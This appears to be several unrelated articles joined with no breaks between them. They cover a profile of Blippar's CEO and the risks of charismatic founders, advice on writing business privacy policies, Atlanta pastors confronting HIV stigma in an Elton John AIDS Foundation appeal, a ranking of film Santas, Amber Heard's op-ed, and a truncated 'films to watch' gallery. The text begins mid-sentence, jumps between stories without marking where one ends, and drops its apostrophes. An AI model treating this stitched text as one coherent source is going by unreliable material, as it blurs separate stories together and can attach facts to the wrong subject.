dollars per year and struggling with technical glitches, will be its biggest winner." But if Blippar looked like a long shot, its CEO was a sure bet, at least as a subject. There was his quasi-mythic background: a black-sheep son from the provinces of India who ran away to fend for himself in the slums of Mumbai, only to win a business-pitch contest that launched him into entrepreneurship. There was the magpie spiritualism that made every conversation with him a philosophical roller coaster. And there were, of course, the outsize pronouncements that made for great copy. Invest in the person, not the idea or company: It's one of those pieces of venture capital wisdom that's become so pervasive, it's hard to say where it originated. Andreessen Horowitz's Chris Dixon distilled the reasoning in a post about missing out on a chance to invest in Dropbox: Basically, big opportunities are likely to attract a lot of entrants, and, in a crowded field, talent at the top will determine who wins. But what kind of talent makes for an investable entrepreneur? Dropbox's Drew Houston was a child-prodigy coder, but not every tech company needs one of those as CEO. Steve Jobs, to cite one famous example, wasn't much of an engineer or coder. What Jobs did possess, perhaps to a world-historical degree, was vision--a feel for how products ought to look and work and how to make consumers desire them. Jobs's knack for seeing what wasn't there was a big part of his aura, the legendary "reality distortion field" that made him seem like a prophet even when he was wrong. A reality distortion field is an awfully useful tool for an entrepreneur. If you're not a technical type, like Jobs, it can help you persuade someone who is -- like Steve Wozniak -- to lend you their brain. Or something else of value: As I reported, Mitra used his own prophetic aura to convince an outdoor advertising company to give Blippar free office space for a year in an expensive London neighborhood, where his nascent company had easy access to big advertisers. There's a dark side to all this, of course. In Silicon Valley, where VCs rely on so-called pattern matching to spot the glitters of gold among the mountains of dross, you can get far by playing the role of the visionary. Sometimes disturbingly far, as you know if you read Bad Blood, John Carreyrou's expose of the $10 billion fraud that was Elizabeth Holmes's blood-testing startup, Theranos. Holmes self-consciously exploited her perceived similarities to Jobs; when she was reading Walter Isaacson's biography of the Apple CEO, Carreyrou reported, her employees could tell what chapter she was on by the new mannerisms she adopted that week. Theranos, it hardly needs to be said, was an extreme case. (Criminally so, according to a Justice Department indictment on fraud charges.) Much more common are the companies like Blippar that have some kind of real technology, but that get an order of magnitude more attention and capital than they merit thanks to their charismatic leaders. Mitra, like Holmes, played it fast and loose with his biography at times in the interest of constructing a heroic narrative arc. He also exaggerated his product's capabilities. In my tests of Blippar's image-recognition capabilities, it had trouble identifying common household items like coffee pots and fruit. When I asked Mitra about that, he half-convinced me it was a fluke. "We could do a million things right, but the day I give it to you to test, you point it at the millionth-and-one thing, and that is the visual world," he said. Toward the end of its existence, Blippar had pivoted away from visual search toward a B2B product enabling indoor navigation of places like shopping malls, an application with more obvious, if narrower, commercial potential. Curious to hear how he'd amended his vision in response to circumstances, I reached out to Mitra via email after the announcement that Blippar had become insolvent. "Unfortunately," he replied, "now is not a good time to talk due to the demands of the process." A visionary CEO can be a great asset to a startup. But if he or she is its greatest asset, that's a problem. Jon Hyman has spent a lot of time thinking about privacy. It's an unavoidable concern at Braze, the New York City-based customer-engagement platform he co-founded, which handles millions of pieces of user data for clients such as Domino's, Yelp, and Lyft. Hyman knew Braze had to be proactive in advance of the E.U.'s General Data Protection Regulation and the California Consumer Privacy Act--the state's sweeping new privacy law, which will likely serve as a national model. He realized that, while creating a meaningful privacy policy can be burdensome, it can also be a golden opportunity to inspire customer trust. The Braze team made themselves experts in compliance. They created a digital magazine explaining the standard, hosted a conference, and generated how-to-comply FAQs. "There was absolutely a huge business impact to it," Hyman says. "The CCPA has changed the conversation, so privacy is top-of-mind for folks." Crafting a world-class approach to privacy may seem daunting, but it comes down to clarity and commitment. Discover the benefits of doing privacy right. "This is a milestone moment for privacy law in the U.S. The California Privacy Act sends a powerful message that people care about privacy and that lawmakers will act." Marc Rotenberg, executive director of the Electronic Privacy Information Center 1. Know thyself, know thy data. How well do you understand your data collection practices? A surprising number of entrepreneurs don't know exactly what customer information they're gathering on their websites and what they're doing with it, says Jane Hils Shea, an attorney with Cincinnati-based Frost Brown Todd. "Often, they think it's just boilerplate, that pretty much every privacy policy reads the same," she says. "But they have to really think about what they collect, whom they share it with, and, more and more, what types of automated technology they use that collect website-usage data." Before drafting a policy, find out what's important to your customers. "Our support team is in regular contact with our user base, so I knew five to six key items I wanted to make sure were addressed," says Steve Hartert, CMO of form builder JotForm in San Francisco. Those include an explicit commitment to privacy, a promise not to sell users' information, and the ability to manage subscriptions "at a micro level. For example, subscribe to our newsletter but opt out of promotional emails," says Hartert. 2. Start smart--write your own draft. To save on legal fees, generate the first draft of your policy yourself. "We drafted our policy in-house and then asked legal counsel, 'Is there anything we're missing?' " says Case Sosnoff, chief compliance officer for the Chicago brokerage Tastyworks. "That also helps you understand the verbiage, the legality behind it all." 68 percent of consumers don't trust brands to handle their personal information appropriately. Source: Gigya.com "State of Consumer Privacy and Trust" survey Only 55 percent of customers say they understand how companies use their personal data, but 95 percent say trust in a company makes it more likely they'll be loyal, according to research conducted by Salesforce in March and April. Source: Salesforce "Trends in Consumer Trust" report $23 million or 4 percent of global revenue (maximum), whichever is higher: the fine for noncompliance with the European Union's General Data Protection Regulation. Source: InformationWeek.com, "GDPR: A Cost Vs. Benefit Analysis" Hartert looked at his competitors' policies and those of similar companies in the E.U., Asia, and Australia. While they may be good models, don't copy them verbatim, says Robert Braun, a partner at Jeffer Mangels Butler & Mitchell in L.A. "No two businesses are exactly alike. There's a reason why you're someone's competitor," he says. To ensure your policy will reflect your unique needs, get input about current and future privacy concerns from your leadership team. "Our vice president of customer operations, our vice president of product, our CTO, and our vice president of finance all collaborated," says Ankur Nagpal, founder and CEO of Teachable, a teaching platform based in New York City. "At the end of the day, the policy will affect all those stakeholders." 3. Put it on paper. When it comes to reviewing and revising your policy, your lawyer should understand your business intimately. That's why Luke Pulverenti turned to one of his own users when he needed legal advice for Emby, his Cornelius, North Carolina-based media-management app. "Having used the software, knowing how it works, is paramount," says Jeffrey Neu, Pulverenti's attorney. "I actually know what's happening instead of just hearing what an engineer or developer tells me." Since your policy can have such a broad impact on your company's fortunes, ask the right questions. "Go way beyond their substantive knowledge," says James Beckett, co-founder and CEO of Louisville-based legal, tech, and services consultancy Qualmet Legal. "Ask, 'What's your understanding of business risk? How are you held accountable by other clients?' Have those conversations." When working with counsel, set a maximum budget up front. "No offense to the legal profession, but it's in their best interest to keep the process going as long as possible," Nagpal says. "Getting an upfront quote can save thousands, if not tens of thousands, of dollars." 4. Make privacy a part of your marketing. You'll be surprised at how powerful a strong stance on privacy can be, says Craig Lurey, co-founder and CTO of Chicago password-management software maker Keeper Security. "Tech users go on the App Store and talk in detail about it," he says. And when everyday users ask their IT geeks for help, Keeper Security's name often comes up. At a building in Atlantas West End, Duncan Teague is arranging chairs, laying out song sheets, and getting ready to welcome all and everyone who enters the door. Teagues church is called Abundant Love, and a sign on the steps underscores the point We welcome your authentic self to join us in our community centred work. The pastors church, a member of the Unitarian Universalist Association, lies outside of the mainstream. Some universalists do not even consider themselves Christians. Yet Teague, and others like him, are crucial to efforts in the US south to counter the homophobia and bigotry that exists in some churches. The historic discrimination in some churches, many believe, has been a factor in forcing gay people to lead secret lives, making the spread of HIV more likely. Unlike some pastors, Teague tells those who come to Abundant Love, whether they are gay, straight, bisexual or asexual, that God loves them all. Asked to sum up his philosophy, Teague says: Celebrating and respecting the dignity of everyone including gay, lesbian and transgender folks, who live in the area and want to come to church and be respected. This is a place for everyone. Teague, who moved to the city in 1985 and once worked for Aid Atlanta, a group helping those with HIV and Aids, could not be working in a more important place. Today in the US, a gay black man has a 50 per cent chance of being diagnosed with HIV at someone during their lifetime. In Atlanta, the figure is even more staggering closer to 60 per cent. Many factors lie behind this racism, poverty and lack of education among them. But homophobia within elements of black society, and the black church, also hinder progress. I have to put some blame with the black church, but not just the black church, says Teague. Every powerful entity within the black community needs to own this. AIDSfree 12 Days of Christmas: David Walliams delivers message for Day 7 The Elton John AIDS Foundation supports many institutions and grassroots efforts in Atlanta and beyond, to help provide HIV testing, counselling and medicine. It also seeks to educate, and confront stigma, something it knows can best be done by community leaders and influencers. This year, The Independent and Evening Standard are raising money for the foundation in our annual Christmas appeals. Recently, Sir Elton and Evgeny Lebedev, owner of the two titles, visited Atlanta to meet doctors, patients and educators. They also had a HIV test done to show how simple it can be. They issued a statement that said: As we write, 37m people globally are living with HIV. Last year alone, 1.8m people contracted the virus and 940,000 died of an Aids-related illness. This need not happen. Todays medicines not only enable those living with HIV to have full and fulfilling lives, but also ensure they cannot pass the virus on to others. Sir Elton, who has a home in the city, was also in Atlanta to perform two concerts for his Farewell Yellow Brick Road tour. At one gig, he recalled establishing the foundation 26 years ago at his kitchen table, up the road. Preacher Ken Lazarus says it is essential to minister to people where they are, especially the homeless (Andrew Buncombe) Weve come a long way, he said. But theres still an epidemic in the south and in Atlanta. It used to be a disease of the affluent. Now it is a disease of the poor, especially poor African Americans. Bishop Oliver OC Allen is another of those trying to preach love not hate. An educator and advocate for people with HIV, and the LGBT+ community, he was asked by Barack Obama to serve on the Presidential Advisory Council on HIV/Aids. He is also an advisor to a black church HIV initiative of the National Association for the Advancement of Coloured People. As founder of Atlantas Vision Church, a progressive Pentecostal congregation, he works to create a place that feels safe for all. Yet, he said, even if he and his team succeeded in creating a welcoming space, the people who come often bear scars or wounds of the challenges they have faced. Independent campaign with the Elton John AIDS Foundation Show all 10 1 /10 Independent campaign with the Elton John AIDS Foundation Independent campaign with the Elton John AIDS Foundation Sir Elton John and Evgeny Lebedev The Independent has launched it's Christmas charity appeal for essential HIV testing around the world with the Elton John AIDS Foundation. Funds raised will pay for those at risk to be able to get tested, and will make sure they have access to the treatment they need. Sir Elton John and Evgeny Lebedev with their HIV test swabs at the Ponce Centre in Atlanta Jeremy Selwyn Independent campaign with the Elton John AIDS Foundation Elton John and Andrew Williams Andrew Williams had never heard of the word HIV when he tested positive. It was his mother who had forced him to go to the doctor where he got the diagnosis that he thought was a death sentence. At that time he was in a wheelchair. It was the unbearable itching of his back that finally got him to get medical help but, he discovered, he not only had HIV but diabetes, high blood pressure and kidney disease. That was two years ago. This week, as the 31-year-old joined Sir Elton John and Evening Standard and The Independent owner Evgeny Lebedev in Atlanta to witness the revolutionary new breakthroughs against the disease at the citys Grady Ponce De Leon Centre, there was no need for a wheelchair. Nor, he now knew, was there any need for fear Jeremy Selwyn Independent campaign with the Elton John AIDS Foundation Evgeny Lebedev and Andrew Williams Within two months of starting the latest antiretroviral drugs, the virus in his body had become undetectable in his blood. Not only is he now healthy, partly due to the drugs and partly due to the healthy lifestyle adopted for his other illnesses, but he can virtually not pass the infection to other people. He feels, he says, reborn. I have a reason to live, he explained, and that is to help people who were like me and to show youre going to be OK. Jeremy Selwyn Independent campaign with the Elton John AIDS Foundation It was a message so stark in its optimism that it reduced Sir Elton to tears. He knows first-hand the realities of what, in the past, an HIV diagnosis can mean. When he started his Elton John AIDS Foundation in the US in 1992, it was because his friends were dying and he wanted to do what he could, anything that he could, to help. When we set up the Elton John AIDS Foundation we were delivering meals to peoples doors, he said. [The stigma meant] they would not go outside. We have come a long way. Jeremy Selwyn Independent campaign with the Elton John AIDS Foundation But part of the reason for his tears was not only happiness at Andrews story. It was also the knowledge that, despite all the advances that have been made, the fight is far from won indeed, in some parts of the world, things are getting worse. Sir Elton John with everyone at the Ponce Centre in Atlanta Jeremy Selwyn Independent campaign with the Elton John AIDS Foundation It is why he and Mr Lebedev had come to Atlanta to mark the first day of our Christmas Appeal, for that city, sadly, is one place where the situation is not only getting worse but, as those at the centre made clear, dramatically so. Jeremy Selwyn Independent campaign with the Elton John AIDS Foundation Sir Elton John with Vic Mensa at the Ponce Centre Jeremy Selwyn Independent campaign with the Elton John AIDS Foundation Sir Elton John with his HIV test swab In Atlanta, one of Americas richest cities and the home of such international corporate giants as Coca-Cola and CNN, if you are a gay black man in 2018 then, unbelievably, you still have a one in two chance of being diagnosed as HIV positive during your lifetime. Jeremy Selwyn Independent campaign with the Elton John AIDS Foundation Elton John with the mayor of Atlanta, Keisha Lance Bottoms Jeremy Selwyn Independent campaign with the Elton John AIDS Foundation Elton John talks at the Ponce Centre Jeremy Selwyn He and other pastors, he said, were still burying young black men who had perished from Aids. Speaking about building connections with other pastors, he said he chooses not to talk about Aids or HIV from a theological standpoint. The last thing is to debate theology, he says. You have to have them frame this as a social justice issue, not just a public health issue, because there are so many layers. Ken Lazarus, the self-styled Cussing Preacher, does not operate from a fixed church. Rather, he prefers to reach out directly to some of the most in need the citys homeless and poor by engaging with them on the streets. He says he takes food and medicine into the citys parks and ministers to them as they sit. He tries to look as much like them as he can. Sometimes he is mistaken for a homeless person, something he is proud of. Support free-thinking journalism and attend Independent events Lazarus, 55, who identifies as bisexual, has been living with HIV for 32 years. He says it is easy for some with the virus to feel disconnected, so he speaks to them like a regular person. The preacher, who also considers himself an outsider to the mainstream churches, adds: There is a place for organised religion, but were talking about going after the lost. Some of those churches, he says, are not welcoming to people who have not bathed for a week, or keep their belongings in a trolley. He says: We need a strategy to reach those people ... Youve to to go where they are. Jesus went with the lost We dont want to make disciples of people who are already saved. In places like Los Angeles or Atlanta, many are in the parks or on the street. He says his organisation works in many different areas providing housing, mental health provision and assistance with benefits. Many factors frequently overlap, he says. He also provides teaching materials on HIV and Aids to other preachers, to help them minister to those at risk or living with the virus. We try to teach how to do pastoral counselling to those who are impacted, he says. Until HIV and Aids is dealt with on a daily basis, its just going to be pushed to the back. Children are enchanted by Father Christmas, and a bad movie Santa can ruin the magic for them in the same way a bad shopping mall one can. There are one or two acting greats who have taken him on, namely Jim Broadbent and Kurt Russell, but for the most part it's a bit of a mixed bag. Here we rank the best movie Santas, based on their authenticity and effectiveness in spreading festive joy: 11. Billy Bob Thornton (Bad Santa, 2003) (Buena Vista) In a 2016 poll, Billy Bob Thornton was named the nations fourth favourite film Santa, though he should really have been disqualified on account of the fact hes not the real Santa. Thornton played Willie T Stokes, an alcoholic, suicidal thief who pretends to be a Santa at a department store in order to rob it. Not remotely like the real Santa of course, who is a paragon of virtue, but a necessary one to be committed to film history amid all the delirious Christmas film joy. Bad Santa: Official trailer 10. Tom Hanks (The Polar Express, 2004) (Warner Bros) Hanks is a paternal figure in pop culture and an all-around nice guy, so it was only a matter of time before he did his Santa stint. Claus was one of six characters the actor played in The Polar Express, and it saw his voice pitch-shifted down to a booming baritone. The movie's 3D graphics have aged so badly though, that all the characters are lodged in the uncanny valley and feel slightly terrifying. 9. Paul Giamatti (Fred Claus, 2007) (Warner Bros) Win Win and American Splendor actor Paul Giamatti was a pretty unlikely choice for Santa in this comedy from the creators of The Wedding Crashers. Not even 40 when the movie was filmed, he just didnt have the wizened face necessary to take his performance from mall Santa to actual Santa. 8. Jim Broadbent (Get Santa, 2014) (Warner Bros) Broadbent was a more likely bet to play Father Christmas, but his turn as the present deliverer proved strangely forgettable. A little too gaunt and with a crazed expression, he was a sort of Dickensian Santa, and we generally prefer our Santas to be slightly corporate fat on capitalism and sipping on an ice cold Coca-Cola while perfectly recreating brand name toys. 7. Ed Ivory (The Nightmare Before Christmas, 1993) (Buena Vista) Despite being made of clay, Ivory's Santa was quite a realistic one, having the requisite bushy beard and bulbous belly. This Father Christmas has a rough ride, being kidnapped by a sentient skeleton and having his life put at stake during a game with a bogeyman. The Nightmare Before Christmas: Official trailer 6. Kurt Russell (The Christmas Chronicles, 2018) (Netflix) Russell gave Santa a rock n roll overhaul in Netflixs The Christmas Chronicles. While the film itself is pretty dull, Russell is a charismatic Father Christmas who plays the blues, wears leather instead of fur, and somehow is woke to the concept of fake news. 5. David Huddleston (Santa Claus: The Movie, 1985) (TriStar) In most festive films, the fact that a man flies through the sky delivering presents isn't enough, and the premise tends to involve some kind of obstacle for St Nick. Santa Claus: The Movie is one for Christmas purists however, telling Santa's story and explaining how he came to be at the North Pole, how his reindeers fly, how he ascends and descends chimneys etc. Huddleston's version of Santa was very traditional, and the movie Santa for many late Gen Xers. 4. Tim Allen (The Santa Clause, 1994) (Buena Vista) Tim Allen might be the first movie Santa that comes to the minds of millennials. He had it tough in the Santa realism stakes as he starts out as plain old Scott, a divorced dad who is forced to take on the role of Kris Kringle. He settles into it however, playing Santa for two successful sequels. Playing it straight down the middle, Allen is the everymans Santa. 3. Edmund Gwenn (Miracle on 34th Street, 1947) (20th Century Fox) Gwenn is, to this day, the only Oscar-winning Santa. He's the OG Father Christmas; the one upon which all other film Father Christmases were based. The first Miracle on 34th Street was made in the 1940s though, so Gwenn's Santa didn't benefit from the cutting-edge costume and production design that others on this list did. Miracle on 34th Street: 1947 Trailer 2. Edward Asner (Elf, 2003) (New Line) Santa doesnt get a great deal of screen time in Jon Favreaus beloved comedy. When he is in the mix, though raising Will Ferrells human character Buddy as an elf at the North Pole Asner is up there with the best of them. In terms of physicality, this is the ideal Santa, a weathered one who you can really believe has been doggedly handcrafting fidget spinners for several hundred years. 1. Richard Attenborough (Miracle on 34th Street, 1994) (20th Century Fox) In 1994, we finally got what we didnt know we needed: a Christmas courtroom drama. One in which a lawyer genuinely bangs his fist on a desk and says Id like the court to see Mr Kringle make the reindeer fly! Essentially The Gaslighting of Santa Claus, this update on the 1947 original sees Richard Attenboroughs Kris Kringle receive more doubt as to his legitimacy than perhaps any other on this list. Not so for the audience, though, as Attenborough remains the quintessential cinema Santa. Attenborough belongs in the red suit. Close your eyes, imagine Father Christmas, and Attenboroughs version is the closest approximation to what you will see. Amber Heard has addressed the backlash she received after she speaking out about her marriage to ex-husband, Johnny Depp. The 32-year-old, who currently stars in the DC film Aquaman alongside Jason Momoa, claims she lost out on a number of roles as she felt the full force of our cultures wrath for women [who speak out] after she accused Depp of violence against her. Johnny Depp, 55, has always denied the abuse allegations and has said that they were, salacious false stories, gossip, misinformation, and lies. Heards divorce with Depp was finalised in 2017, after two years of marriage. Writing an op-ed for the Washington Post, Heard revealed that friends and advisers told me I would never again work as an actress that I would be blacklisted. She claimed that a movie I was attached to recast my role, that a global fashion brand dropped her just after she had shot a two-year campaign for them, and that her major film roles in Justice League and Aquaman were almost compromised. She also said she had to change her phone number each week due to getting death threats and that she rarely left my apartment". Heard added: "When I did, I was pursued by camera drones and photographers on foot, on motorcycles and in cars. I want to ensure that women who come forward to talk about violence receive more support, Heard wrote, explaining her reason for the op-ed. We are electing representatives who know how deeply we care about these issues Films to watch before you die Show all 35 1 /35 Films to watch before you die Films to watch before you die Raiders of the Lost Ark (1981) With this update and upgrade of the 1930s serial adventure, Steven Spielberg turns what could have been pastiche into a practically perfect film. Harrison Fords daring archaeologist is almost always out of his depth but has impeccable underdog charm, and Douglas Slocombes casually stunning cinematography is matched by one of John Williams's finest scores. Indy is ultimately irrelevant to the entire plot, interestingly, but his indefatigable effort to do the right thing still inspires. HO Rex Films to watch before you die Spirited Away (2001) Japanese animation legend Hayao Miyazaki's films delight kids with their bright colours, imaginative characters and plucky heroines (usually). But there's meat to their bones for adults to digest, especially in this towering fantasy epic. As young Chihiro takes a job in a mysterious bathhouse peopled by spirits in order to save her parents, viewers can explore everything from deeply rooted interpretations of traditional Japanese myth to Miyazaki's fascination with Western filmmaking and the Second World War. And visually its unparalleled. HO Toho Films to watch before you die Avengers (2012) Yes, but hear us out: Avengers is a grand experimental film. Marvel risked four popular franchises on this superhero throw of the dice, something never attempted in cinema history. They won, and made the fizzing chemistry of the unlikely gang who must save us from aliens look easy. But the failure of every Marvel imitator since makes clear how impressive this billion-dollar gamble really was, and how difficult it is to tell character-driven stories in blockbuster cinema on this scale. And as a bonus, it has a Hulk. HO Marvel Studios Films to watch before you die The Shining (1980) Stanley Kubricks creep-show classic is remembered for the indelible images of that violent finale chase, but its reputation and influence stem from the slow-winding tension that precedes it. Jack Nicholson is the struggling writer whose sanity frays over a winter season at an isolated and haunted hotel; Shelley Duvall plays his increasingly desperate wife. Touching on questions of domestic violence as well as delivering a ghost story for the ages, this will get under your skin and stay there. HO Warner Bros/Hawk Films/Kobal/REX/Shutterstock Films to watch before you die Invasion of the Body Snatchers (1978) One of those remakes that justifies remakes, Philip Kaufmans beautifully skilful spin on the McCarthy-era alien-clone thriller translates it wickedly to the psychobabble age of the 1970s, with a bit of post-Watergate panic thrown in. Donald Sutherlands lugubrious health inspector is a nicely grumpy enemy of the pod people, and the hysteria ratchets up masterfully. PS Films to watch before you die The Royal Tenenbaums (2001) Wes Anderson's meticulously mannered and beautifully composed films are not to all tastes, but when combined with a cast of this calibre and a more-than-usually heartfelt script, they are capable of magic. Gene Hackman plays the disgraced patriarch of a family of geniuses, making one last attempt at redemption. With a whos who of Hollywood in support, its a story that is as bizarre, hilarious and moving as family life itself. HO Buena Vista Pictures Films to watch before you die Lawrence of Arabia (1962) David Leans First World War epic about TE Lawrence remains a filmmaking milestone, the movie that Steven Spielberg rewatches before starting each new film. Its genius is to combine huge scale battles notably the attack on Aqaba with psychological insight into the toll that the war took on Lawrences mind. The white-led casting of Arab characters is appalling to modern eyes, but with its daring, dazzling filmmaking it remains one to watch despite that. HO Rex Films to watch before you die Bicycle Thieves (1948) A devastating portrait of the poverty trap, Vittorio De Sicas neo-realist masterpiece remains all too relevant. Antonio (Lamberto Maggiorani) is offered a desperately-needed job but it requires a bicycle, and when his is stolen he and his son resort to desperate measures to get it back. Shot with non-professional actors who lived in circumstances close to that of their characters, this is a study in compassion and empathy. HO Rex Features Films to watch before you die Farewell My Concubine (1993) Spanning five decades of Chinese history, this sprawling epic follows two stars of the Peking Opera from harsh childhood training through the perils of the Second World War, the Communist takeover and the Cultural Revolution. Director Chen Keige drew on his own experience of the Cultural Revolution to shape this groundbreaking, tormented romance both between Zhang Fengyis Ziaolou and Leslie Chengs Dieyi, and between Ziaolou and his former prostitute wife Juxian (Gong Li). HO Miramax Films Films to watch before you die Tokyo Story (1953) Pauline Kael thought that the basic appeal of movies was the kiss kiss bang bang of action and romance, but Yasujiro Ozu demonstrates that film is capable of much more in this quiet family drama. Its a simple story about two elderly parents visiting their adult children, only to find that the younger generation is busy with other things. But its also a meditation on the passing of time, and on grief, and on the constant push towards the new that will break your heart every time you watch it. HO Rex Features Films to watch before you die Double Indemnity (1944) If we have learned anything from film noir, it is that murder pacts never work out well for both parties. Thats certainly the lesson when Fred MacMurrays infatuated salesman offers life insurance to Barbara Stanwycks femme fatale Phyllis against her unloved husband. The scheme gives way to a riveting stew of suspicion and paranoia, with Stanwycks ruthless determination warping MacMurrays Neff out of all recognition as director Billy Wilder tightens the screws. HO Rex Features Films to watch before you die Days of Heaven (1978) Terrence Malicks second, and for many, greatest film is a mesmerisingly gorgeous love triangle set in the Texas Panhandle in 1916, loosely based on an Old Testament parable. Richard Gere and Brooke Adams are the lovers who pose as brother and sister to fool a rich, dying farmer (Sam Shepard). Nestor Almendross astounding magic-hour photography rightly won an Oscar, and Linda Manz supplies heartbreaking, plainspoken narration as Geres younger sister. PS Paramount Pictures Films to watch before you die Citizen Kane (1941) The problem with calling something the greatest film ever made is that it begins to sound like homework. Forget that: beyond all the technical dazzle and ground-breaking filmmaking Orson Welless masterpiece has red blood in its veins and a huge beating heart. Whats more, its portrait of a thrusting, occasionally demagogic tycoon and the hollowness at the heart of his success remains as relevant as it ever was, and the suggestion that America might be susceptible to media manipulation all too believable. HO Films to watch before you die Les Enfants du Paradis (1945) Marcel Carne's immortal saga about a 19th-century Parisian theatre company often called the French Gone with the Wind has a swooning romanticism but majors in heartbreak, too. Among this ensemble, brilliantly played by some of the best Gallic actors of their day, hopes rise and are shattered, and jealousy mounts among all the acolytes of a courtesan called Garance. It looks back to mime and stagecraft as essential components in the prehistory of cinema, while also being great cinema. Rex Features Films to watch before you die Rear Window (1954) Whether you see it as Alfred Hitchcocks celebration of voyeurism or simply one of the most nail-biting thrillers ever made, its a superb example of the Master of Suspense at work. James Stewarts photographer, laid up with a broken leg, becomes obsessed with the lives of his neighbours and suspects one of murder. The unusually vulnerable hero as in Vertigo increases the stakes and ensures that simple brawn wont save the day, while Hitchcock ratchets up the tension unbearably by putting Grace Kellys plucky girlfriend in the lions mouth. HO Films to watch before you die It Happened One Night (1934) Claudette Colbert's eloping heiress and Clark Gable's hack on his uppers warily team up on a Greyhound bus, only to aggravatingly fall for each other. Frank Capra's evergreen romcom all but invented the love-hate formula that's one model for silver screen chemistry, hoicking up Colbert's skirt to flash a leg when they need to hitch-hike, and dismantling Gable's smarmy defences. The biggest hit of its day for a reason, it was also the first ever film to win the big five at the Oscars. PS Films to watch before you die Hoop Dreams (1994) The trials of young black basketball hopefuls in Chicago tell us volumes, from their upbringing to all-or-nothing career rimshots, about the opportunities otherwise denied them. For these portraits of inner-city poverty, gliding between frustration and triumph, Steve Jamess epic of ghetto realities has been influential on every sports doc that has come in its wake. The Academys documentary branch will never quite live down failing to nominate it. PS Kartemquin Films Films to watch before you die The Apartment (1960) This blistering Billy Wilder and IAL Diamond script is a demonstration of just how dark a love story can be get without tipping entirely into bitterness, a standing rebuke to every lazy, schmaltzy comedy going. While the entire cast is stellar and Shirley MacLaine was never better, its worth ignoring them all and just watching Jack Lemmons meek office worker CC Baxter. Every gesture and glance is flawless; he carries entire scenes without a word. HO Rex Films to watch before you die Paris, Texas (1984) In Wim Wenders's Palme d'Or winning trek through America's byways, Harry Dean Stanton plays a wreck of a man who's gone missing, found wandering silently through the Texan wilderness. He travels hundreds of miles to reconcile with his ex (Nastassja Kinski), whom he finds, oblivious to who he is, on the other side of a Houston peepshow window. Culminating unforgettably with this long-take tete-a-tete, it's a shattering quest for redemption, eerily scored by Ry Cooder. Films to watch before you die Before Midnight (2013) Celine (Julie Delpy) and Jesse (Ethan Hawke) have settled down since the two earlier films in Richard Linklaters essential trilogy, Before Sunrise (1995) and Before Sunset (2004), but the problems in their lives self-inflicted by now only keep proliferating. Trenchantly pushing them into full-on battle-of-the-sexes territory, the film squares them off for a bitterly adult dissection of a long-term relationship, asking stark questions about love, compromise and lasting the course. PS Films to watch before you die Le Mepris (1963) Other Jean-Luc Godard films are punchier, ruder, more experimental. But this is his most lavish, measured, and sad: an elegiac fantasy of filmmaking, as a loose adaptation of the Odyssey grinds to a halt on Capri, with Jack Palance as the brash American producer trying to sell art by the yard. Meanwhile, the screenwriter (Michel Piccoli) and his beautiful, bored wife (Brigitte Bardot) tussle and reconcile in an incessant, pained ballet. PS Films to watch before you die Casablanca (1942) Some films strain under the weight of greatness; Casablancas quality bubbles through. Against the backdrop of the Second World War, two former lovers reunite though everything in the world is pulling them apart. Bogarts Rick hides a huge heart under a thin veneer of cynicism; opposite him Ingrid Bergmans luminous Ilsa would melt an iceberg. Packed with quotable lines and brimming over with impeccable cool, here we are, still lookin' at you, kid. HO Films to watch before you die A Trip to the Moon (1902) Georges Melies pioneered many of the visual and special effects techniques that have formed the backbone of fantastical filmmaking ever since, and he pushed them all to their limits in this turn-of-the-century tale of a rocket trip to the moon to meet the strange creatures who live upon it. Witty touches and a real sense of story mean that this is still entertaining more than a century later, and if the effects are less awe-inspiring now, theyre still beautifully designed and executed. HO Rex Features Films to watch before you die His Girl Friday (1940) A screwball comedy of substance, Howard Hawks's remake of The Front Page is an objectively odd mix of high stakes and high comedy. Yet it works because the machine-gun dialogue is so quick that there's never a moment to question whats happening (the great screenwriter Ben Hecht, who co-wrote the original Broadway play, worked on it uncredited). Cary Grant and Rosalind Russell, as the warring editor and star-reporter trying to work together long enough to land the story of the year, remain the standard by which all on-screen chemistry should be judged. HO Films to watch before you die The Conversation (1974) Francis Ford Coppola slipped this paranoid masterpiece in between the first two Godfathers, though it was left to his wizardly editor Walter Murch to resolve the plot in post-production. Gene Hackman, never better, plays Harry Caul, a loner surveillance expert called upon to pry into a situation he doesn't fully understand, and winding up dangerously complicit in murderous malfeasance. No other film managed to foreshadow Watergate quite so uncannily. Paramount Pictures Films to watch before you die Blow Out (1981) John Travolta's Z-movie sound man, out recording one night, accidentally tapes what turns out to be a political assassination. Brian De Palma hit peak ingenuity and gut-punch profundity with this stunning conspiracy thriller, mounted with a showman's elan but also harrowing emotional voltage from its star. Its one of the most delirious thrillers of the 1980s, with a bitterly ironic pay-off thats played for keeps. PS Filmways Pictures Films to watch before you die City of God (2002) Theres a deep contradiction at the heart of this acid-bright portrait of the violence in Rios favelas. On one hand these child hustlers and teen gangsters have an intense lust for life, an exuberance displayed in dance and play and love; on the other, they value life cheaply and take it without a qualm. Director Fernando Meirelles and co-director Katia Lund cast a talented band of local kids to give it authenticity and then punctuated their story with Scorsese-esque violence that still shocks. HO Films to watch before you die Hannah and Her Sisters (1986) The diverging romantic fortunes of Hannah (Mia Farrow), Lee (Barbara Hershey) and Holly (Dianne Wiest, who won an Oscar, as did Michael Caine) provide an ideal structure for Woody Allen to check in on a midway state of adulthood, when there's already a sense of disappointment about squandered promise, but still much to play for. It hits the miraculous sweet spot between all Allens modes and tones. PS Moviestore/Rex Films to watch before you die Raising Arizona (1987) The Coen Brothers had already established a ghoulish signature style with Blood Simple, but here they showed us how funny they could be, in a zig-zagging kidnap farce which manages the difficult feat of being both zany and adorable. Nicolas Cage and Holly Hunter are the unlikely couple whose abduction of a spare newborn quintuplet, Nathan Jr, causes all hell to break loose. PS 20th Century Fox Films to watch before you die Cache (2005) This looks and acts like a thriller, but in reality Michael Hanekes exploration of colonialism, guilt, paranoia and privacy cares more about subtext than about scares or mystery. A well-to-do Parisian family are tormented by the arrival of surveillance tapes of their lives, but its not clear who could be sending them or why, leading patriarch Georges (Daniel Auteuil, never better) to confront his own past sins. As a subversion of genre and viewer expectation, there are few to match it. HO Rex Films to watch before you die The General (1926) Orson Welles suggested that Buster Keatons silent Civil War comedy might be the greatest film ever made, and who are we to argue? Keatons Johnny Gray is a key figure on the railroads of the Confederacy, but he and his engine, The General, must go above and beyond to defeat a Union spy. Ignore the dodgy politics and focus on the sublime physical comedy of Keatons beautifully composed routines. Youll come out wondering if movies even need sound. HO Rex Films to watch before you die The Babadook (2014) The Babadook is a black, hunched pop-up book monster who raps on your door three times before paying a visit. And you cant get rid of him. Widowed mum Amelia (brilliant Essie Davis) cant remember reading his book to her emotionally 